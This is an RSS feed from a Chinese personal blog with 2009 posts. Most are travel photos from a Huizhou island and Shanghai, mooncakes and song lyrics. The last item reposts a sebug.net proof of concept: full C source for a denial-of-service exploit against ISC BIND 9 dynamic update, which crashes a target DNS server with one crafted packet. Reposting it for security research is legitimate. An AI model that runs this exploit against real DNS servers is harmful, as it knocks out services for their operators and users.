<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[冰火天地]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[冰火相融情难绕 天地和睦世难料]]></description>
<link>http://hi.baidu.com/harite</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[【多图王道】惠州三角洲岛]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/0d5630f31f41945a342acc43.html]]></link>
        <description><![CDATA[
		
		<p><span><font color="#ff0000">免责声明：本文图片来源多样，若您认为自己的不应该出现在这里，请联系我删除。</font></span></p>
<p><span>Here We Go！！</span></p>
<p><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/e58987b11a825a7a08230272.jpg"></span></p>
<p><span>那海，那石，那树，那草，那人。。。</span></p>
<p><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/09ad4916078d5c6421a4e950.jpg"></span></span></span></p>
<p><span><span><span>好美的海滩，好LOFT型的别墅，当然。。。还有眼前的一对儿&ldquo;非法设备&rdquo;</span></span></span></p>
<p><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/f060a6af870cb0e27dd92a32.jpg"></span></span></span></span></p>
<p><span><span><span><span>这种3层别墅住着非常舒服，让人想起了&ldquo;心碎乌托邦&rdquo;。1楼客厅里一帮人玩杀人很不错的说。偷拍无处不在啊。。。</span></span></span></span></p>
<p><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/6265c295cc95be65d0135e3e.jpg"></span></span></span></span></span></p>
<p><span><span><span><span><span>月高杀人夜呐~</span></span></span></span></span></p>
<p><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/5d9b718989891c9d0e244438.jpg"></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span>日出日落仅凭这个照片是无法区分的，由此可见看问题一定要全面！否则只会&ldquo;知秋一叶&rdquo;。</span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/c09d004684c4ad276a63e504.jpg"></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span>快艇的速度看来是很快的，风很大，不过很爽，冷风吹人醒。<br>
</span><br>
</span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/1407f9de70519f7a95ee3707.jpg"></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span>海天一色的感觉。。。他们都在干什么呢？</span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/cd5f4136044f3df3a2cc2b01.jpg"></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span>有看海的。。。</span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/d5501795599911267af48003.jpg"></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span>有踩水的。。。顺便说一下，远处那块儿石头上躺着真舒服，差点没睡过去一夜。看来还是不够淡定。</span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/73c3db43b3aec23d72f05d0d.jpg"></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span>有大海边沉思的。。。</span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/88ac888b45f9bbfdfc1f1008.jpg"></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span>有美女。。。</span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/2c8bab4432de4aacb3b7dc0b.jpg"></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span>自然就有&ldquo;偷拍者&rdquo;。。。不过螳螂在前，黄雀在后。杯具啊。。。</span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/3a9d33dbbb104148d1164e15.jpg"></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span>这个。。。远处有美女？或者有妖精？估计是为&ldquo;偷拍者&rdquo;提供支持的。</span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/0b07f219b8e82554dbb4bd11.jpg"></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span>里面埋着的是一个以邪恶著称的家伙。。。</span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/084fe1c498b750878326ac13.jpg"></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span>这个很赞。</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/e2d4b8b772561fda30add11d.jpg"></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span>我们不跟国足一般见识。。。</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/2ad9aaec6a0f42132797911e.jpg"></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span>沙滩排球：-）</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/084fe1c498b250878326ac18.jpg"></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span>岂能少了国球？</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/8b182f1f7f3dc2e6a6866918.jpg"></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span>突然有些怀念那一杆清案的感觉。。。<br>
</span><br>
</span><br>
后记：</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span><span>这个地方非常休闲非常爽，别墅、海景、人文景观等都非常不错，非常适合一家人或一帮朋友一起来玩。就是价格稍贵，略显不爽。</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p><span>==============================================================</span></p>
<p><span>惠州三角洲岛简介</span></p>
<p><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/ea8c8bcb354ea5d353664f7d.jpg"><br>
</span></span></p>
<p><span><span class="12"><font size="2"><strong><font color="#ff6600">中国的首家拥有合法产权的私人海岛</font></strong><br>
<font color="#333333">　　海岛位于广东省大亚湾东部海域，是中国第一家合法的私人海岛，也是中国首家按&ldquo;马尔代夫式&rdquo;开发利用的海岛度假圣地，主要经营水上运动，休闲度假和房地产，同进也是国家体育总局和国际海洋潜水协会的潜水运动中心。</font><br>
<strong><font color="#ff6600">世外桃湖，人间仙境</font></strong><br>
　　<font color="#333333">海岛上分布有三个晶莹洁白的沙滩，一个新月形的内海湾和一个天然石雕公园，总面积约22公顷，其中陆地面积约为16公顷，由大小两个岛屿构成，退潮时两岛由沙滩相连。海岛绿树葱茏，楼阁隐现，形状各异的奇石天然成趣栩栩如生，仿佛传说中的篷莱仙岛，世外桃园。</font><br>
<strong><font color="#ff6600">&ldquo;马尔代夫式&rdquo;海岛设施</font></strong><br>
　　<font color="#333333">为保持海岛风貌，采用&ldquo;马尔代夫式&rdquo;低楼建筑形式，将楼宇巧妙依海岛山势逶迤错落，使每幢别墅每套房间均能观海，成为名副其实的海景客房。海岛服务设施齐全：中西餐厅，岩石咖啡廊、超市、网球场、桌球室、棋牌室、多功能歌舞厅，会议厅，沙滩运动场，令人乐而忘返。</font><br>
<font color="#ff6600"><strong>海上运动天堂</strong></font><br>
　<font color="#333333">　俱乐部精心设计推出潜水会、风帆会、游艇会，让会员足不出国门即可领略国际目前最时尚的休闲海上体育运动，此外，各种水上、沙滩娱乐项目如海钓、香蕉船、肥仔艇、沙滩排球、足球、射箭、飞碟、飞镖、沙滩烧烤晚会丰富迷人。</font><br>
<font color="#ff6600"><strong>封闭式会员制管理模式</strong></font><br>
　　<font color="#333333">俱乐部衽封闭式会员制管理，提供专业、优质高品味的服务，非会员可在俱乐部每年的会员推广期申请上岛。 </font></font></span></span></p>
<p><span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/1638d7c45b4092e538db497a.jpg"><br>
</span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/ae983cd359a2a52e3bf3cf44.jpg"><br>
</span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/c09d00468483ad276a63e545.jpg"><br>
</span><span><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/efb13cd19bb3aa169a502746.jpg"><br>
</span><br>
</span></p> <a href="http://hi.baidu.com/harite/blog/item/0d5630f31f41945a342acc43.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/0d5630f31f41945a342acc43.html#comment">查看评论</a>]]></description>
        <pubDate>2009年10月28日 星期三  下午 11:47</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/0d5630f31f41945a342acc43.html</guid>
</item>

<item>
        <title><![CDATA[上海之旅--暨寝室一周年庆上海站]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/ea6b2c970788276755fb96a3.html]]></link>
        <description><![CDATA[
		
		<p> </p>
<p> </p>
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/09e1daa2dbf6ee81cbefd0e2.jpg"></p>
<p> </p>
<p>&nbsp;&nbsp;&nbsp;  去了趟上海，办了些正事，寝室所有人也都到齐了，大聚了一把。</p>
<p>&nbsp;&nbsp;&nbsp;  先说说上海之于我，上海这地方亲戚其实也不少，最早不记事的时候就去过了。最近一次来上海是大二假期，总体而言，不陌生但也不熟悉。</p>
<p>&nbsp;&nbsp;&nbsp;  几件高兴的事：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  1.沾了喜庆的光。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  2.见到了寝室以及大学的一些朋友。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  3.处理了一些不容易处理的事情，很是欣慰。</p>
<p>&nbsp;&nbsp;&nbsp;  因为时间太赶，几件遗憾的事：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  1.没有去看望iris同事和benjurry总。也没有去看望以前的2个家里的好哥们，并且甚至没有通知那些亲戚，没有见到小弟小妹们。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  2.没有去苏州，结果误了一些重要的事。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  3.没机会组织一下上海校友的聚会，因此错过了n多大学校友的碰面。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  4.19号晚上在南京路上的渝信川菜几乎没有喝点的小糊涂仙酒，这是自喝酒以来的第一次，很惭愧。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  5.还有该想到的不该想到的该遗憾的不该遗憾的种种。</p>
<p>&nbsp;&nbsp;&nbsp;  几件愤怒的事情：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  1.<font color="#ff0000">朋友跟他媳妇送我去机场的路上，他媳妇突然晕倒，我们赶忙找车去医院，可是好几辆上海出租车司机竟然不停车！与之相比，却有外国老太太递水过来并且帮忙去拣我扔在一边的笔记本包！多少年过去了，上海一些出租车司机的素质还是那么低，没有人性，见死不救，真是丢人啊！有这样的出租车司机，上海纵使再举办10次世博，在国际都市里也还只是二流小乡镇。也同样是素质，决定了国人的路还很长，大国强国路还很长。实在是丢人啊，也望想要移居上海的同胞三思，在上海碰到这种紧急情况时，上海出租车司机未必会停车。</font></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  2.飞回深圳后，觉得后脑勺微疼，结果几个朋友打电话过来，已经有朋友去医院了，怀疑中午吃饭的xx火锅菜或酒有问题，众人都有明显的反映。我喝的最多，到了飞机上就睡着了，再睁开眼后已经快到了。目前为止没感到有啥不适，但酒精中毒的反应时间在12~24个小时内，我得注意了。<font color="#ff0000">以前都说xx人是大骗子，现在想想，上海同胞们也要当心自己人啊</font>。</p>
<p> </p>
<p> </p>
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/ea8c8bcb79dc69d152664fee.jpg"></p>
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/290edb09bfd743aed1581be8.jpg"></p>
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/e815f1f2781b4c3fb07ec5ea.jpg"></p> <a href="http://hi.baidu.com/harite/blog/item/ea6b2c970788276755fb96a3.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/ea6b2c970788276755fb96a3.html#comment">查看评论</a>]]></description>
        <pubDate>2009年09月20日 星期日  下午 11:41</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/ea6b2c970788276755fb96a3.html</guid>
</item>

<item>
        <title><![CDATA[2009年中秋节月饼]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/0a6339fa77a7a614a8d311e9.html]]></link>
        <description><![CDATA[
		
		<p>喜欢朦胧美的可以看下面的照片，喜欢清晰美的同胞可以访问&ldquo;<a target="_blank" href="http://user.qzone.qq.com/76167169/blog/1252585419">http://user.qzone.qq.com/76167169/blog/1252585419</a>&rdquo;看清晰版。</p>
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/5d9b71890c1797980f2444ac.jpg"></p>
<p> </p>
<p><a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/b7a23badeb95ee224b36d698.jpg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/abpic/item/b7a23badeb95ee224b36d698.jpg"></a></p>
<p><a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/17f924dd864ce4f28c102966.jpg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/abpic/item/17f924dd864ce4f28c102966.jpg"></a></p>
<p><a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/babf33010bba20257aec2c63.jpg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/abpic/item/babf33010bba20257aec2c63.jpg"></a></p>
<p><a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/82572b3f9386e3c755e7236e.jpg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/abpic/item/82572b3f9386e3c755e7236e.jpg"></a></p>
<p><a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/b3ac5b3df91ec1c53c6d9768.jpg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/abpic/item/b3ac5b3df91ec1c53c6d9768.jpg"></a></p>
<p><a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/025740904488eba6a877a46a.jpg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/abpic/item/025740904488eba6a877a46a.jpg"></a></p>
<p><a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/4b493029696978d598250a7a.jpg"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/abpic/item/4b493029696978d598250a7a.jpg"></a></p>
<p> </p>
<p> </p> <a href="http://hi.baidu.com/harite/blog/item/0a6339fa77a7a614a8d311e9.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/0a6339fa77a7a614a8d311e9.html#comment">查看评论</a>]]></description>
        <pubDate>2009年09月10日 星期四  下午 09:28</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/0a6339fa77a7a614a8d311e9.html</guid>
</item>

<item>
        <title><![CDATA[XCON 2009 安全焦点峰会 T恤]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/62afdd2aacb9ec24d52af125.html]]></link>
        <description><![CDATA[
		
		<p>XCON 2009 安全焦点峰会 T恤</p>
<p>lake2不知道从哪里多搞来一件，有个洞，不能穿，观望一下，膜拜一下，洗洗睡了。</p>
<p>不得不说的是这件正面右侧有个洞。。。不知道可否被 exploit 。。。</p>
<p><img class="blogimg" height="150" width="200" border="0" small="1" src="http://hiphotos.baidu.com/harite/pic/item/6f513ffa4c7e05a39f514650.jpg">&nbsp;&nbsp;&nbsp;  <a target="_blank" href="http://hiphotos.baidu.com/harite/pic/item/71d66f383c61ef0996ddd853.jpg"><img class="blogimg" border="0" small="1" src="http://hiphotos.baidu.com/harite/abpic/item/71d66f383c61ef0996ddd853.jpg"></a></p> <a href="http://hi.baidu.com/harite/blog/item/62afdd2aacb9ec24d52af125.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%B0%B2%C8%AB%BC%BC%CA%F5">安全技术</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/62afdd2aacb9ec24d52af125.html#comment">查看评论</a>]]></description>
        <pubDate>2009年08月22日 星期六  上午 00:07</pubDate>
        <category><![CDATA[安全技术]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/62afdd2aacb9ec24d52af125.html</guid>
</item>

<item>
        <title><![CDATA[我一直不愿意承认你是我生命中的过客【优酷视频】]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/f840672287ad96ad4723e82c.html]]></link>
        <description><![CDATA[
		
		<p><embed style="width: 450px; height: 390px" pluginspage="http://www.macromedia.com/go/getflashplayer" src="http://player.youku.com/player.php/sid/XMTAxODgwNDQ0/v.swf" width="450" height="390" type="application/x-shockwave-flash" wmode="transparent" play="true" loop="false" menu="false"></embed></p>
<p> </p>
<p>偶尔看到，背景音乐很耐听。</p>
<div class="t_msgfont1">
<p>歌曲：心愿 <br>
歌手：王泽,杨颖,乔媛,唐景 <br>
<br>
词:王泽 <br>
曲:王泽 <br>
<br>
湖水是你的眼神 <br>
梦想满天星辰 <br>
心情是一个传说 <br>
亘古不变地等候 <br>
成长是一扇树叶的门 <br>
童年有一群亲爱的人 <br>
春天是一段路程 <br>
沧海桑田的拥有 <br>
那些我爱的人 <br>
那些离逝的风 <br>
那些永远的誓言一遍一遍 <br>
那些爱我的人 <br>
那些沉淀的泪 <br>
那些永远的誓言一遍一遍 <br>
我们都曾有过一张天真而忧伤的脸 <br>
手握阳光我们望着遥远 <br>
轻轻的一天天一年又一年 <br>
长大间我们是否还会再唱起心愿 <br>
长大间我们是否还会再唱起</p>
<p> </p>
</div>
<font color="#000000">这首歌的词曲作者叫王泽，也是演唱者之一，左边那个是王泽，旁边是杨颖（副歌独唱），乔媛（副歌伴唱啦啦啦的那个）和唐景莲（副的底音）这是在中央民族大学教室。。。。。。</font>
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/harite/pic/item/250705b311d44c8dd8335a14.jpg"></p>
<p> </p>
<p>这段MV中的文字也还行，剥离出来，摘录如下：</p>
<p> </p>
<p>我一直不愿意承认你是我生命中的过客</p>
<p> </p>
<p>当令你快乐的一切不能再令你快乐</p>
<p>当令你悲哀的一些不能再令你悲哀</p>
<p>甚至激怒你的一切不能再激怒你的时候</p>
<p>是不是很可怕？</p>
<p>一位哲人曾说过：这就叫做苍老</p>
<p>再想起你，你的名字，你的笑，你的一切</p>
<p>都只能加上&ldquo;别人的&rdquo;</p>
<p>再想起我们在一起的事</p>
<p>也只能加上一个&ldquo;曾经的&rdquo;</p>
<p>有些情怀是指甲</p>
<p>剪掉了还会重生</p>
<p>无关痛痒</p>
<p>而有些情怀是牙齿</p>
<p>失去以后永远有个疼痛的伤口无法弥补</p>
<p>对的时间 遇见对的人 是一生幸福</p>
<p>对的时间 遇见错的人 是一场心伤</p>
<p>错的时间 遇见错的人 是一段荒唐</p>
<p>错的时间 遇见对的人 是一生叹息</p>
<p>我一直不愿意承认你是我生命中的过客</p>
<p>爱一个人</p>
<p>不要随便牵手</p>
<p>更不要轻易放手</p>
<p>时间过了</p>
<p>爱情淡了</p>
<p>相爱的人也真的就散了吗？</p>
<p>有些人是一直会刻在生命里的</p>
<p>哪怕</p>
<p>忘记了他的声音</p>
<p>忘记了他的笑容</p>
<p>忘记了他的脸</p>
<p>可是每次想起他的那种感受</p>
<p>却永远不会变。。。。。。</p>
<p> </p>
<p>-------</p>
<p>果然是痴女的歌痴女的曲痴女的MV。。。</p> <a href="http://hi.baidu.com/harite/blog/item/f840672287ad96ad4723e82c.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/f840672287ad96ad4723e82c.html#comment">查看评论</a>]]></description>
        <pubDate>2009年08月15日 星期六  下午 04:48</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/f840672287ad96ad4723e82c.html</guid>
</item>

<item>
        <title><![CDATA[ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC(转载)]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/8b182f1ffa2e5fc1a6866920.html]]></link>
        <description><![CDATA[
		
		<p> </p>
<h2 class="post-title">ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC</h2>
<div class="post-vuln">SSV ID:<a title="ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC" target="_blank" href="http://www.sebug.net/exploit/11948/">11948</a></div>
<div class="post-vuln">SEBUG-Appdir:<a title="BIND" href="http://www.sebug.net/appdir/BIND/">BIND</a></div>
<div class="post-vuln">发布时间:2009-07-30</div>
<div class="post-vuln">测试方法:</div>
<div class="exp-content"><span class="bugexp_url">[www.sebug.net]<br>
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!</span>
<pre>/*
    ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC
    &quot;Based on:
    http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt
    by kingcope - this is basically a rewrite of the above, lame i know, but fun enough
    
    for the [zone] argument you can try what is in the named.conf with &quot;type master&quot;
*/
 
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netdb.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;netdb.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;
 
#define PORT 31337
 
struct dnspkt1 {
    unsigned short transact;
    unsigned short flags;
    unsigned short zones;
    unsigned short pr;
    unsigned short updates;
    unsigned short rrs;
};
 
struct dnspkt2 {
    unsigned short type;
    unsigned short class;
    unsigned short name2;
    unsigned short type2;
    unsigned short class2;
    unsigned short ttl1;
    unsigned short ttl2;
    unsigned short datalen;
    unsigned short name3;
    unsigned short type3;
    unsigned short class3;
    unsigned short ttl3;
    unsigned short ttl4;
    unsigned short datalen2;
};
 
int packdomain(char * dest, const char *src)
{
  int i,n,cnt;
 
  n=strlen(src);
  dest[n+1]=0;  // terminator
 
  cnt=0;
  for (i=n; i&gt;0; i--)
  {
    if (src[i-1]=='.')
    {
      dest[i]=cnt;
      cnt=0;
    }
    else
    {
      dest[i]=src[i-1];
      cnt++;
    }
  }
  dest[0]=cnt;
  return n+2;
}
 
int main(int argc, char **argv) {
    int sockfd, clilen;
    struct sockaddr_in serv_addr, cli_addr;
    struct dnspkt1 d1;
    struct dnspkt2 d2;
 
    printf(&quot;ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC\n&quot;);
    printf(&quot;Based on:\n&quot;);
    printf(&quot;http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt\n&quot;);
    printf(&quot;by kingcope - this is basically a rewrite of the above, lame i know, but fun tough\n&quot;);
 
    if (argc &lt; 2) {
        printf(&quot;usage: %s &lt;host&gt; [zone]\n&quot;, argv[0]);
        return 0;
    }
 
        sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sockfd &lt; 0) {
                printf(&quot;error on socket() call&quot;);
                return -1;
        }
 
        memset(&amp;serv_addr, '\0', sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = INADDR_ANY;
        serv_addr.sin_port = htons(PORT);
 
        if (bind(sockfd, (struct sockaddr *) &amp;serv_addr, sizeof(serv_addr)) &lt; 0) {
                printf(&quot;error binding socket\n&quot;);
                return -1;
        }
    
        memset(&amp;cli_addr, '\0', sizeof(cli_addr));
        cli_addr.sin_family = AF_INET;
        cli_addr.sin_addr.s_addr = inet_addr(argv[1]);
        cli_addr.sin_port = htons(53);
    
    memset(&amp;d1, '\0', sizeof(d1));
    memset(&amp;d2, '\0', sizeof(d2));
    d1.transact = htons(0x1cd6);
    d1.flags = htons(0x2800);
    d1.zones = htons(0x0001);
    d1.pr = htons(0x0001);
    d1.updates = htons(0x0001);
    d1.rrs = 0;
    char *name = (char*)malloc(8096);
    char nam[1024];
 
    if (argc &lt; 3) {
        /* Not sure if this is right to set as default, have no clue about dns proto
           It works for me.. */
        strcpy(nam, &quot;127.in-addr.arpa&quot;);
    } else {
        strncpy(nam, argv[2], sizeof(nam));
        nam[sizeof(nam)-1]=0;
    }
 
    int n=packdomain(name, (char*)nam);
    d2.type = htons(0x0006);
    d2.class = htons(0x0001);
    d2.name2 = htons(0xc00c);
    d2.type2 = htons(0x00ff);
    d2.class2 = htons(0x0001);
    d2.datalen = 0;
    d2.name3 = htons(0xc00c);
    d2.type3 = htons(0x00ff);
    d2.class3 = htons(0x00ff);
    d2.ttl1 = 0;
    d2.ttl2 = 0;
    d2.ttl3 = 0;
    d2.ttl4 = 0;
    d2.datalen2 = 0;
 
    char buffer[10000];
    memcpy(buffer, &amp;d1, sizeof(d1));
    memcpy(buffer+sizeof(d1), name, n);
    memcpy(buffer+sizeof(d1)+n, &amp;d2, sizeof(d2));
 
    clilen=sizeof(cli_addr);
    
    sendto(sockfd, buffer, sizeof(d1)+sizeof(d2)+n, 0, (struct sockaddr *)&amp;cli_addr, sizeof(cli_addr));
    printf(&quot;aight!\n&quot;);
    return 0;
}</pre>
</div>
<div class="post-sebug">
<p>// sebug.net [2009-07-31]</p>
<p>from：<a href="http://www.sebug.net/exploit/11948/">http://www.sebug.net/exploit/11948/</a></p>
<p>影响版本及修复建议：<a href="http://www.sebug.net/vulndb/11919/">http://www.sebug.net/vulndb/11919/</a></p>
<p>------</p>
<p>永恒的BIND，永恒的漏洞。</p>
</div> <a href="http://hi.baidu.com/harite/blog/item/8b182f1ffa2e5fc1a6866920.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%B0%B2%C8%AB%BC%BC%CA%F5">安全技术</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/8b182f1ffa2e5fc1a6866920.html#comment">查看评论</a>]]></description>
        <pubDate>2009年08月02日 星期日  下午 05:06</pubDate>
        <category><![CDATA[安全技术]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/8b182f1ffa2e5fc1a6866920.html</guid>
</item>

<item>
